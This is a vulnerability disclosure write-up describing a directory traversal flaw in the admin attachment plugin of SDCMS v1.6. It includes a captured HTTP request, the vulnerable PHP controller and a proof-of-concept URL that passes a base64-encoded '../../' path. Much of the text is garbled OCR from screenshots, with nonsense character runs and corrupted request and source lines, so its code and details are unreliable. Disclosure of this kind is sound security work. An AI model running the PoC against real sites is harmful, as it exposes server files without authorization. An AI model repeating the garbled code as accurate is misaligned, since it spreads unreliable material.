SDCMS v1.6 has directory traversal vulnerability

This article mainly analyzes the directory traversal vulnerability of SDCMS v1.6.

CMS Official Website:  https://www.sdcms.cn/
⊙. We consider about PHP version of SDCMS, and the latest version(v1.6) download link is following:

[image: image1.png]cms





[image: image2.png]SD&vid BR WA PR mEE #E B
latest version

TROTH ‘ FHEETH

’@ SRE—CURSEERAV| SRR TR @ =Re—tuREEERAVISEVI RS

@ =me—cuRsEERG SEEEETE @ =Re—UREERGVI4EV SHES

@ =me—cuRsEERG EEEETE @ =Re—UREEERGVISEVIAEE
SRE—CURSEERAV HEEaTE SRA—CURSEERAVI 2RV SRS
SRE—CURSEERAVI HEE TR SRA—CURSEERAVIAEVI RS

ZRA—RUREERRAV IREREaTHR ERE—UREEERAV10EVIIFARE




Download link: 

https://www.sdcms.cn/down-98.html
Description: This is a directory traversal vulnerability that we can submit the constructed parameters in the website background to achieve the purpose of traversing the server root directory.

Test Environment:

Server: Apache 2.4.35

Language: PHP 5.6.38

Database: MySQL 5.7.23

Process: 

At first, we had to login the website background:

(http://127.0.0.1:8000/?m=admin&c=index&a=login).

When I entered the website background, I found that some plugins can be installed here.
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We installed the first plugin, and this plugins could manage the file in the "upfile" directory.
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But When I click on the "2018" folder and use burp suit to capture packets, I found it seems to be able to construct parameters to achieve directory traversal.
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GET /?7m=plug&c=adminga=index&p=attachmentgroot=dXBmaWxILzlwMTg%3D HTTR/1 1
Host: 127.0.0.1:8000

User-Agent: Mozillais.0 (Windows NT 10.0; WOWB4; 1v63.0) Gecko20100101 Firefox/53.0

Aceept: text/html application/xhtml-+xml application/xmi:4=0.9,*/% =0 8

Accept-Language: zh-CN.zhiq=0.8,zh-TW;q=0.7 zh-HK;g=0 5 en-US;4=0 3 en;q=0.2

Referer: http://127.0.0.1:8000/?m=plugac=admin&a=indexap=attachmentaroot=dXBmawx|

Connection: close
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Upgrads-Insecure-Requests: 1





I used the base64 decoding parameter and find that it is indeed the path, so we can try to construct the parameters.
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I am used base64 encoding to construct a path parameter '../'  
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When I submit the packet, I find the directory traversal vulnerability.
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We can click on the 'www' to see the website file, and also use ../../ to get more information.
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Source code:

app/plug/attachment/controller/admincontroller.php

[image: image13.png]public function Index()

{

Sroot-bases4_decode(F("get.root’));
f($root=="")

Sdata-self: :deal_arr(scandir($root),$root);
$folder-sdata[o];

$file-sdatal1]

Sarr-explode("/",$root);
$str
Spositio
Toreach (3arr a: Skey=$val)

if(skey--0)
€

$str-gval;
¥

else

{
1

Sposition. =" > <a href="".U("index’, root=".bases4_encode(3str)

$str.—"/".Sval;

> Sval. </a>s
¥

Sthissassign ,$root);
Sthis assign(’position’,Sposition);
Sthis assign('folder’,$folder);
Sthissassign(‘file’,$File);
Sthis->display("index.php");





We can see there are not filtering with '../' , that’s why make directory traversal vulnerability.

POC: 

http://127.0.0.1/?m=plug&c=admin&a=index&p=attachment&root=Li4vLi4v
